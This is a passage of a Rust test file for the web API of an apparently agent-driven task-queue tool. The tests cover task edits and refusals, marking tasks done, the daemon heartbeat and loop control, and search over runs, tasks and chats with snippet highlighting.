18502 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18503
18504 let reloaded = queue.get(&task.id).expect("reload");
18505 assert_eq!(reloaded.title, "new title");
18506 assert_eq!(reloaded.instruction, "new instruction");
18507 }
18508
18509 #[tokio::test]
18510 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18511 let tmp = TempDir::new().expect("tempdir");
18514 let repo = tmp.path().join("repo");
18515 std::fs::create_dir_all(&repo).expect("repo dir");
18516 let judge = MOCK_AGENT_TOML.replace(
18517 "printf ok",
18518 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18519 );
18520 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18521 let f = Fixture::with_repo(repo.clone()).await;
18522 let queue = f.queue();
18523 let mut owner = Task::new(
18524 "owner".to_owned(),
18525 "review it".to_owned(),
18526 repo.clone(),
18527 Source::Human,
18528 );
18529 owner.review_branch = Some("magi/ab12/A".to_owned());
18530 queue.put(&mut owner).expect("file the owner");
18531 let mut task = Task::new(
18532 "draft".to_owned(),
18533 "old".to_owned(),
18534 repo.clone(),
18535 Source::Human,
18536 );
18537 queue.put(&mut task).expect("file the draft");
18538 let url = format!("/api/queue/{}/edit", task.id);
18539
18540 let refused = f
18541 .post(
18542 &url,
18543 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18544 )
18545 .await;
18546 assert_eq!(refused.status, 409, "{}", refused.body);
18547 let msg = refused.json()["error"]
18548 .as_str()
18549 .unwrap_or_default()
18550 .to_owned();
18551 assert!(
18552 msg.contains("magi/ab12/A") && msg.contains("force"),
18553 "{msg}"
18554 );
18555 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18556
18557 let forced = f
18558 .post(
18559 &url,
18560 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18561 )
18562 .await;
18563 assert_eq!(forced.status, 200, "{}", forced.body);
18564 }
18565
18566 #[tokio::test]
18567 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18568 let f = Fixture::start().await;
18569 let queue = f.queue();
18570 let mut task = Task::new(
18571 "in flight".to_owned(),
18572 "do not touch".to_owned(),
18573 PathBuf::from("/repo/magi"),
18574 Source::Human,
18575 );
18576 task.start("20260902-140502-bbbb".to_owned());
18577 queue.put(&mut task).expect("file the task");
18578
18579 let res = f
18580 .post(
18581 &format!("/api/queue/{}/edit", task.id),
18582 Some(r#"{"title":"x","instruction":"y"}"#),
18583 )
18584 .await;
18585 assert_eq!(res.status, 400, "{}", res.body);
18586 assert!(
18587 res.json()["error"]
18588 .as_str()
18589 .is_some_and(|e| e.contains("running")),
18590 "{}",
18591 res.body
18592 );
18593 assert_eq!(
18594 queue.get(&task.id).expect("reload").instruction,
18595 "do not touch",
18596 "the refused edit must not change the file"
18597 );
18598 }
18599
18600 #[tokio::test]
18601 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18602 let f = Fixture::start().await;
18603 let queue = f.queue();
18604 let mut task = Task::new(
18605 "busy".to_owned(),
18606 "Running right now".to_owned(),
18607 PathBuf::from("/repo/magi"),
18608 Source::Human,
18609 );
18610 queue.put(&mut task).expect("file the task");
18611 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18612
18613 let priority = f
18614 .post(
18615 &format!("/api/queue/{}/priority", task.id),
18616 Some(r#"{"priority":9}"#),
18617 )
18618 .await;
18619 assert_eq!(priority.status, 409, "{}", priority.body);
18620
18621 let edit = f
18622 .post(
18623 &format!("/api/queue/{}/edit", task.id),
18624 Some(r#"{"title":"x","instruction":"y"}"#),
18625 )
18626 .await;
18627 assert_eq!(edit.status, 409, "{}", edit.body);
18628 }
18629
18630 #[tokio::test]
18631 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18632 let f = Fixture::start().await;
18633 let queue = f.queue();
18634 let mut task = Task::new(
18635 "shipped by hand".to_owned(),
18636 "merged outside the loop".to_owned(),
18637 PathBuf::from("/repo/magi"),
18638 Source::Agent {
18639 run: "20260101-000000-b455".to_owned(),
18640 node: "implement".to_owned(),
18641 },
18642 );
18643 task.runs.push("20260101-000000-b455".to_owned());
18644 task.runs.push("20260101-000000-9af4".to_owned());
18645 queue.put(&mut task).expect("file the task");
18646 let created_at = task.created_at;
18647
18648 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18649 assert_eq!(done.status, 200, "{}", done.body);
18650 assert_eq!(done.json()["status_str"], "done");
18651
18652 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18653 assert_eq!(
18654 reloaded.runs,
18655 ["20260101-000000-b455", "20260101-000000-9af4"]
18656 );
18657 assert_eq!(
18658 reloaded.source,
18659 Source::Agent {
18660 run: "20260101-000000-b455".to_owned(),
18661 node: "implement".to_owned(),
18662 }
18663 );
18664 assert_eq!(reloaded.created_at, created_at);
18665 }
18666
18667 #[tokio::test]
18668 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18669 let f = Fixture::start().await;
18674 let queue = f.queue();
18675 let mut task = Task::new(
18676 "landed while held".to_owned(),
18677 "x".to_owned(),
18678 PathBuf::from("/repo/magi"),
18679 Source::Human,
18680 );
18681 task.hold_manual(Some("waiting on 3ed9".to_owned()));
18682 queue.put(&mut task).expect("file the held task");
18683
18684 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18685 assert_eq!(done.status, 200, "{}", done.body);
18686 assert_eq!(done.json()["status_str"], "done");
18687 assert!(
18688 done.json()["hold_reason"].is_null(),
18689 "a done task cannot still be waiting on something: {}",
18690 done.body
18691 );
18692 }
18693
18694 #[tokio::test]
18695 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18696 let f = Fixture::start().await;
18701 let queue = f.queue();
18702 let runs = f.runs();
18703 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18704 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18708
18709 let mut task = Task::new(
18710 "landed by hand".to_owned(),
18711 "x".to_owned(),
18712 PathBuf::from("/repo/magi"),
18713 Source::Human,
18714 );
18715 task.runs.push("20260101-000000-doa1".to_owned());
18716 task.runs.push("20260101-000000-doa2".to_owned());
18717 queue.put(&mut task).expect("file the task");
18718
18719 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18720 assert_eq!(done.status, 200, "{}", done.body);
18721
18722 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18723 .expect("run still on disk under this fixture's own home");
18724 assert_eq!(
18725 reloaded_run.status,
18726 RunStatus::Superseded,
18727 "closing the task by hand must relabel the earlier blocked attempt exactly \
18728 like the loop's own settle path does"
18729 );
18730 }
18731
18732 #[tokio::test]
18733 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18734 let f = Fixture::start().await;
18739 let queue = f.queue();
18740 let runs = f.runs();
18741 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18742 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18743
18744 let mut task = Task::new(
18745 "closed with nothing actually landed".to_owned(),
18746 "x".to_owned(),
18747 PathBuf::from("/repo/magi"),
18748 Source::Human,
18749 );
18750 task.runs.push("20260101-000000-dob1".to_owned());
18751 task.runs.push("20260101-000000-dob2".to_owned());
18752 queue.put(&mut task).expect("file the task");
18753
18754 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18755 assert_eq!(done.status, 200, "{}", done.body);
18756
18757 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18758 .expect("run still on disk under this fixture's own home");
18759 assert_eq!(
18760 reloaded_run.status,
18761 RunStatus::Blocked,
18762 "the last recorded attempt never landed, so the earlier one must not be \
18763 relabelled as superseded by it"
18764 );
18765 }
18766
18767 #[tokio::test]
18768 async fn unknown_ids_are_json_not_found_on_both_stores() {
18769 let f = Fixture::start().await;
18770
18771 let run = f.get("/api/runs/nosuchrun").await;
18772 let task = f.post("/api/queue/nosuchtask/hold", None).await;
18773
18774 assert_eq!(run.status, 404);
18775 assert_eq!(task.status, 404);
18776 assert!(
18777 run.json()["error"]
18778 .as_str()
18779 .is_some_and(|e| e.contains("run")),
18780 "the error names what was not found: {}",
18781 run.body
18782 );
18783 assert!(
18784 task.json()["error"]
18785 .as_str()
18786 .is_some_and(|e| e.contains("task")),
18787 "the error names what was not found: {}",
18788 task.body
18789 );
18790 }
18791
18792 #[tokio::test]
18793 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18794 let f = Fixture::start().await;
18795
18796 let missing = f.get("/api/health").await.json();
18797 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18798
18799 write_daemon(
18800 f.home.path(),
18801 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18802 );
18803 let stale = f.get("/api/health").await.json();
18804 assert_eq!(
18805 stale["daemon"]["running"], false,
18806 "a minute without a heartbeat is a dead daemon, not a busy one"
18807 );
18808 assert!(
18809 stale["daemon"]["stale_for_secs"]
18810 .as_i64()
18811 .is_some_and(|s| s >= 55),
18812 "staleness is reported so the UI can say how long: {stale}"
18813 );
18814
18815 write_daemon(f.home.path(), Timestamp::now());
18816 let fresh = f.get("/api/health").await.json();
18817 assert_eq!(fresh["daemon"]["running"], true);
18818 assert_eq!(fresh["daemon"]["idle"], false);
18819 assert_eq!(fresh["daemon"]["pid"], 4242);
18820 assert_eq!(fresh["daemon"]["completed"], 7);
18821 assert_eq!(
18822 fresh["daemon"]["current"][0]["task"],
18823 "20260902-140501-aaaa"
18824 );
18825 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18826 }
18827
18828 #[tokio::test]
18829 async fn the_loop_is_not_running_until_something_starts_it() {
18830 let f = Fixture::start().await;
18831
18832 let view = f.get("/api/loop").await.json();
18833 assert_eq!(view["running"], false);
18834 assert_eq!(
18835 view["owned"], false,
18836 "nobody owns a loop that does not exist: {view}"
18837 );
18838 assert_eq!(view["stopping"], false);
18839 assert_eq!(view["last_error"], Value::Null);
18840 assert_eq!(view["daemon"]["running"], false);
18841 assert_eq!(
18842 view["repo"], "/repo/magi",
18843 "the repository a start would use, named before it is started"
18844 );
18845 }
18846
18847 #[tokio::test]
18848 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18849 let f = Fixture::start().await;
18850
18851 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18852 assert_eq!(res.status, 200, "{}", res.body);
18853 let view = res.json();
18854 assert_eq!(view["running"], true);
18855 assert_eq!(
18856 view["owned"], true,
18857 "the loop the UI started is the UI's own to stop: {view}"
18858 );
18859 assert_eq!(
18860 view["merge"],
18861 Value::Null,
18862 "no override was given, so each repository's own config decides"
18863 );
18864
18865 let health = f.get("/api/health").await.json();
18869 assert_eq!(health["loop"]["running"], true, "{health}");
18870 assert_eq!(health["loop"]["owned"], true, "{health}");
18871
18872 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18873 }
18874
18875 #[tokio::test]
18876 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18877 let f = Fixture::start().await;
18878 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18879 assert_eq!(first.status, 200, "{}", first.body);
18880
18881 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18882 assert_eq!(
18883 again.status, 409,
18884 "two loops on one queue race for the same claims: {}",
18885 again.body
18886 );
18887 assert!(
18888 again.json()["error"]
18889 .as_str()
18890 .is_some_and(|e| e.contains("already running the loop")),
18891 "the refusal has to say why: {}",
18892 again.body
18893 );
18894 assert_eq!(
18895 f.get("/api/loop").await.json()["running"],
18896 true,
18897 "and the loop that was already running is untouched by it"
18898 );
18899
18900 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18901 }
18902
18903 #[tokio::test]
18904 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18905 let f = Fixture::start().await;
18906 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18907
18908 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18909 assert_eq!(
18910 res.status, 200,
18911 "the answer must not wait for the loop: a run in flight is tens of \
18912 minutes and the operator is holding a phone: {}",
18913 res.body
18914 );
18915
18916 let view = settled(&f, |v| v["running"] == false).await;
18917 assert_eq!(view["owned"], false);
18918 assert_eq!(
18919 view["stopping"], false,
18920 "a loop that has stopped is not still stopping: {view}"
18921 );
18922 assert_eq!(
18923 view["last_error"],
18924 Value::Null,
18925 "a loop that was asked to stop did not fail: {view}"
18926 );
18927
18928 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18931 assert_eq!(twice.status, 200, "{}", twice.body);
18932 }
18933
18934 #[tokio::test]
18935 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18936 let f = Fixture::start().await;
18937 write_daemon(f.home.path(), Timestamp::now());
18940
18941 let view = f.get("/api/loop").await.json();
18942 assert_eq!(view["running"], false, "not in this process: {view}");
18943 assert_eq!(view["owned"], false, "and not this process's to control");
18944 assert_eq!(
18945 view["daemon"]["running"], true,
18946 "but a loop is alive somewhere, which is what the UI must say"
18947 );
18948 assert_eq!(view["daemon"]["pid"], 4242);
18949
18950 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18951 let res = f.post("/api/loop", Some(body)).await;
18952 assert_eq!(
18953 res.status, 409,
18954 "neither button may pretend to work on someone else's loop: {}",
18955 res.body
18956 );
18957 assert!(
18958 res.json()["error"]
18959 .as_str()
18960 .is_some_and(|e| e.contains("4242")),
18961 "the refusal has to name the process the operator must go to: {}",
18962 res.body
18963 );
18964 }
18965 assert_eq!(
18966 f.get("/api/loop").await.json()["running"],
18967 false,
18968 "and the refusal started nothing"
18969 );
18970 }
18971
18972 #[tokio::test]
18973 async fn a_stale_status_file_is_not_a_foreign_owner() {
18974 let f = Fixture::start().await;
18975 write_daemon(
18976 f.home.path(),
18977 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18978 );
18979
18980 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18981 assert_eq!(
18982 res.status, 200,
18983 "a daemon killed a minute ago must not lock the loop out of its \
18984 own home for good: {}",
18985 res.body
18986 );
18987 assert_eq!(res.json()["running"], true);
18988
18989 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18990 }
18991
18992 #[tokio::test]
18993 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18994 let f = Fixture::start().await;
18995 let before = f.get("/api/health").await.json()["loop_rev"]
18996 .as_u64()
18997 .expect("a loop revision");
18998
18999 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19000
19001 let after = f.get("/api/health").await.json()["loop_rev"]
19002 .as_u64()
19003 .expect("a loop revision");
19004 assert!(
19005 after > before,
19006 "the loop is in-process state, so this counter is the only thing \
19007 that tells a second device the first one started it: {before} -> \
19008 {after}"
19009 );
19010
19011 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19012 }
19013
19014 #[tokio::test]
19015 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19016 let f = Fixture::with_loop(launch_broken).await;
19017
19018 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19019 assert_eq!(
19020 res.status, 200,
19021 "starting it is not the failure: {}",
19022 res.body
19023 );
19024
19025 let view = settled(&f, |v| v["last_error"].is_string()).await;
19026 assert_eq!(
19027 view["running"], false,
19028 "a loop that died must not read as running, or the operator has \
19029 nothing to press: {view}"
19030 );
19031 assert_eq!(view["owned"], false);
19032 assert!(
19033 view["last_error"]
19034 .as_str()
19035 .is_some_and(|e| e.contains("read-only file system")),
19036 "the phone is where a loop that died at 3am is visible: {view}"
19037 );
19038
19039 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19042 assert_eq!(again.status, 200, "{}", again.body);
19043 assert!(
19044 again.json()["last_error"]
19045 .as_str()
19046 .is_none_or(|e| !e.contains("read-only file system")),
19047 "a fresh start does not keep showing why the last one died: {}",
19048 again.body
19049 );
19050 }
19051
19052 #[tokio::test]
19053 async fn a_newer_daemon_status_file_still_renders() {
19054 let f = Fixture::start().await;
19055 std::fs::write(
19058 f.home.path().join("daemon.json"),
19059 serde_json::json!({
19060 "schema": 2,
19061 "updated_at": Timestamp::now().to_string(),
19062 "idle": true,
19063 "surprise": { "nested": [1, 2, 3] },
19064 })
19065 .to_string(),
19066 )
19067 .expect("write daemon.json");
19068
19069 let health = f.get("/api/health").await;
19070
19071 assert_eq!(health.status, 200);
19072 assert_eq!(health.json()["daemon"]["running"], true);
19073 }
19074
19075 #[tokio::test]
19076 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19077 let f = Fixture::start().await;
19078 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19079 let broken = f.runs().join("20260902-140502-bad");
19080 std::fs::create_dir_all(&broken).expect("run dir");
19081 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19082
19083 let list = f.get("/api/runs").await;
19084 let detail = f.get("/api/runs/20260902-140502-bad").await;
19085
19086 assert_eq!(list.status, 200);
19087 let listed = list.json();
19088 let ids: Vec<&str> = listed
19089 .as_array()
19090 .expect("an array")
19091 .iter()
19092 .map(|r| r["id"].as_str().expect("an id"))
19093 .collect();
19094 assert_eq!(
19095 ids,
19096 vec!["20260902-140501-good"],
19097 "one unreadable run must not cost the operator the whole history"
19098 );
19099 assert_eq!(detail.status, 500);
19100 assert!(
19101 detail.json()["error"]
19102 .as_str()
19103 .is_some_and(|e| e.contains("run.json")),
19104 "the failure names the file to look at: {}",
19105 detail.body
19106 );
19107 let health = f.get("/api/health").await;
19111 assert_eq!(health.json()["runs_unreadable"], 1);
19112 }
19113
19114 #[tokio::test]
19116 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19117 let f = Fixture::start().await;
19118 let runs = f.runs();
19119 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19120 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19121 let path = runs.join("20260902-140502-bbbb").join("run.json");
19124 let mut v: serde_json::Value =
19125 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19126 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19127 std::fs::write(&path, v.to_string()).unwrap();
19128 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19129 std::fs::write(
19130 runs.join("20260902-140503-cccc").join("run.json"),
19131 "{ not json",
19132 )
19133 .unwrap();
19134
19135 let res = f.get("/api/search?scope=runs&q=quokka").await;
19136 assert_eq!(res.status, 200, "{}", res.body);
19137 let v = res.json();
19138 assert_eq!(v["total"], 1, "{v}");
19139 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19140 assert_eq!(v["hits"][0]["field"], "text");
19141 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19142 let parts = v["hits"][0]["snippet"].as_array().unwrap();
19143 assert!(
19144 parts
19145 .iter()
19146 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19147 "{v}"
19148 );
19149 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19150 assert_eq!(
19151 flat, "The Quokka leaks across threads",
19152 "whitespace is collapsed"
19153 );
19154
19155 let both = f
19157 .get("/api/search?scope=runs&q=MOBILE%20quokka")
19158 .await
19159 .json();
19160 assert_eq!(both["total"], 1, "{both}");
19161 let neither = f
19162 .get("/api/search?scope=runs&q=quokka%20zebra")
19163 .await
19164 .json();
19165 assert_eq!(neither["total"], 0, "{neither}");
19166 let stmt = f
19168 .get("/api/search?scope=runs&q=mobile%20first")
19169 .await
19170 .json();
19171 assert_eq!(stmt["total"], 2, "{stmt}");
19172 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19173 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19174 }
19175
19176 #[test]
19177 fn snippet_ignores_terms_longer_than_the_field() {
19178 let terms = ["ok".to_owned(), "elephant".to_owned()];
19179 let parts = snippet_of("ok", &terms);
19180 assert_eq!(
19181 parts,
19182 vec![SnippetPart {
19183 text: "ok".to_owned(),
19184 hit: true
19185 }]
19186 );
19187 }
19188
19189 #[test]
19190 fn snippet_marks_matches_longer_than_the_window() {
19191 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19192 let hit_len = |parts: &[SnippetPart]| -> usize {
19193 parts
19194 .iter()
19195 .filter(|p| p.hit)
19196 .map(|p| p.text.chars().count())
19197 .sum()
19198 };
19199 let total =
19200 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19201
19202 let long = "a".repeat(120);
19203 let parts = snippet_of(&long, std::slice::from_ref(&long));
19204 assert!(hit_len(&parts) > 0, "{parts:?}");
19205 assert!(total(&parts) <= cap);
19206
19207 let ja = "あ".repeat(130);
19208 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19209 assert!(hit_len(&parts) > 0, "{parts:?}");
19210 assert!(total(&parts) <= cap);
19211
19212 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19214 let term = format!("ab{}", "c".repeat(100));
19215 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19216 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19217 assert!(total(&parts) <= cap);
19218
19219 let text = format!("{}z", "a".repeat(119));
19221 let parts = snippet_of(&text, &["a".repeat(120)]);
19222 assert_eq!(hit_len(&parts), 0, "{parts:?}");
19223 }
19224
19225 #[tokio::test]
19226 async fn search_caps_hits_and_snippet_length() {
19227 let f = Fixture::start().await;
19228 let runs = f.runs();
19229 for n in 0..(SEARCH_MAX_HITS + 5) {
19230 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19231 }
19232 let v = f.get("/api/search?scope=runs&q=web").await.json();
19233 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19234 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19235 assert_eq!(v["truncated"], true);
19236 assert!(
19238 v["hits"]
19239 .as_array()
19240 .unwrap()
19241 .iter()
19242 .all(|h| h["run"]["status"] == "merged")
19243 );
19244
19245 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19246 let parts = snippet_of(&long, &["needle".to_owned()]);
19247 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19248 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19249 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19250 }
19251
19252 #[tokio::test]
19253 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19254 let f = Fixture::start().await;
19255 let queue = f.queue();
19256 let mut t = Task::new(
19257 "short title".to_owned(),
19258 "line one\nthe hidden Armadillo detail".to_owned(),
19259 PathBuf::from("/repo/magi"),
19260 Source::Agent {
19261 run: "r1".to_owned(),
19262 node: "chat".to_owned(),
19263 },
19264 );
19265 t.last_error = Some("disk full on /tmp".to_owned());
19266 queue.put(&mut t).expect("file the task");
19267
19268 for (q, want) in [
19269 ("armadillo", 1),
19270 ("disk%20FULL", 1),
19271 ("chat", 1),
19272 ("queued", 1),
19273 ("short%20nothing", 0),
19274 ] {
19275 let v = f
19276 .get(&format!("/api/search?scope=tasks&q={q}"))
19277 .await
19278 .json();
19279 assert_eq!(v["total"], want, "{q}: {v}");
19280 }
19281 for bad in [
19282 "/api/search?scope=tasks&q=",
19283 "/api/search?scope=tasks&q=%20",
19284 "/api/search?scope=chats&q=",
19285 "/api/search?scope=chats&q=%20",
19286 "/api/search?scope=nope&q=a",
19287 "/api/search?q=a",
19288 ] {
19289 assert_eq!(f.get(bad).await.status, 400, "{bad}");
19290 }
19291 }
19292
19293 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19295 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19296 .expect("seat value");
19297 let turns: Vec<serde_json::Value> = turns
19298 .iter()
19299 .map(|(who, body)| {
19300 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19301 })
19302 .collect();
19303 let doc = serde_json::json!({
19304 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19305 "status": status, "turns": turns,
19306 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19307 "seat": seat,
19308 });
19309 let dir = f.home.path().join("talks");
19310 std::fs::create_dir_all(&dir).expect("talks dir");
19311 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19312 }
19313
19314 #[test]
19315 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19316 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19317 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19318 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19319 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19320 "seat": crate::agent::SeatState::new("talk", "test", 1)
19321 })).unwrap();
19322 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19323 talk.title = Some(talk::ChatTitle {
19324 text: "最近の話題".into(),
19325 source: talk::TitleSource::Generated,
19326 });
19327 let doc = talk_search_doc(&talk);
19328 assert_eq!(doc["title"], "最近の話題");
19329 assert_eq!(doc["turns"][0]["operator"], "古い話題");
19330 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19331 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19332 }
19333
19334 #[test]
19335 fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19336 let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19337 talk.title = Some(talk::ChatTitle {
19338 text: "Saved title".into(),
19339 source: talk::TitleSource::Manual,
19340 });
19341 talk.turns = serde_json::from_value(serde_json::json!([
19342 {
19343 "who": "operator", "sender": "external", "body": "External plain",
19344 "at": "2026-09-08T20:58:02Z"
19345 },
19346 {
19347 "who": "operator", "body": "External message",
19348 "at": "2026-09-08T20:58:03Z",
19349 "messages": [{
19350 "sender": "external", "body": "External message", "attachments": []
19351 }]
19352 }
19353 ]))
19354 .unwrap();
19355 let doc = talk_search_doc(&talk);
19356 assert_eq!(doc["turns"][0]["external"], "External plain");
19357 assert_eq!(doc["turns"][1]["external"], "External message");
19358 assert!(doc["turns"][0].get("operator").is_none());
19359 assert!(doc["turns"][1].get("operator").is_none());
19360 let hit = search_chat(&search_terms("message"), &talk).unwrap();
19361 assert_eq!(hit.field, "external");
19362 let target = hit.target.unwrap();
19363 assert_eq!((target.turn, target.message), (1, 0));
19364 }
19365
19366 #[test]
19367 fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19368 let talk: Talk = serde_json::from_value(serde_json::json!({
19369 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19370 "status": "open", "title": {"text":"Saved title", "source":"manual"},
19371 "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19372 "messages":[{"body":"First message", "attachments":[], "reply":null},
19373 {"body":"Search 運用", "attachments":[], "reply":null}]},
19374 {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19375 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19376 "seat": crate::agent::SeatState::new("talk", "test", 1)
19377 })).unwrap();
19378 let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19379 let target = hit.target.unwrap();
19380 assert_eq!((target.turn, target.message), (0, 1));
19381 assert_eq!(target.text, chat_text_key("Search 運用"));
19382 assert_eq!(
19383 hit.snippet,
19384 snippet_of("Search 運用", &search_terms("運用 Another"))
19385 );
19386 assert!(
19387 search_chat(&search_terms("Saved"), &talk)
19388 .unwrap()
19389 .target
19390 .is_none()
19391 );
19392 assert!(
19393 search_chat(&search_terms("ab12"), &talk)
19394 .unwrap()
19395 .target
19396 .is_none()
19397 );
19398 assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19400 assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19401 }
19402
19403 #[test]
19404 fn chat_search_targets_opener_derived_titles() {
19405 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19406 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19407 "status": "open", "turns": [
19408 {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19409 {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19410 {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19411 "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19412 "seat": crate::agent::SeatState::new("talk", "test", 1)
19413 }))
19414 .unwrap();
19415 let terms = search_terms("運用");
19416 let hit = search_chat(&terms, &talk).unwrap();
19417 assert_eq!(hit.field, "title");
19418 assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19419 let target = hit.target.unwrap();
19420 assert_eq!((target.turn, target.message), (1, 0));
19421 assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19422 talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19424 {"body":"", "attachments":[], "reply":null},
19425 {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19426 ]))
19427 .unwrap();
19428 let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19429 assert_eq!((target.turn, target.message), (1, 1));
19430 assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19431 talk.title = Some(talk::ChatTitle {
19432 text: "運用について".into(),
19433 source: talk::TitleSource::Manual,
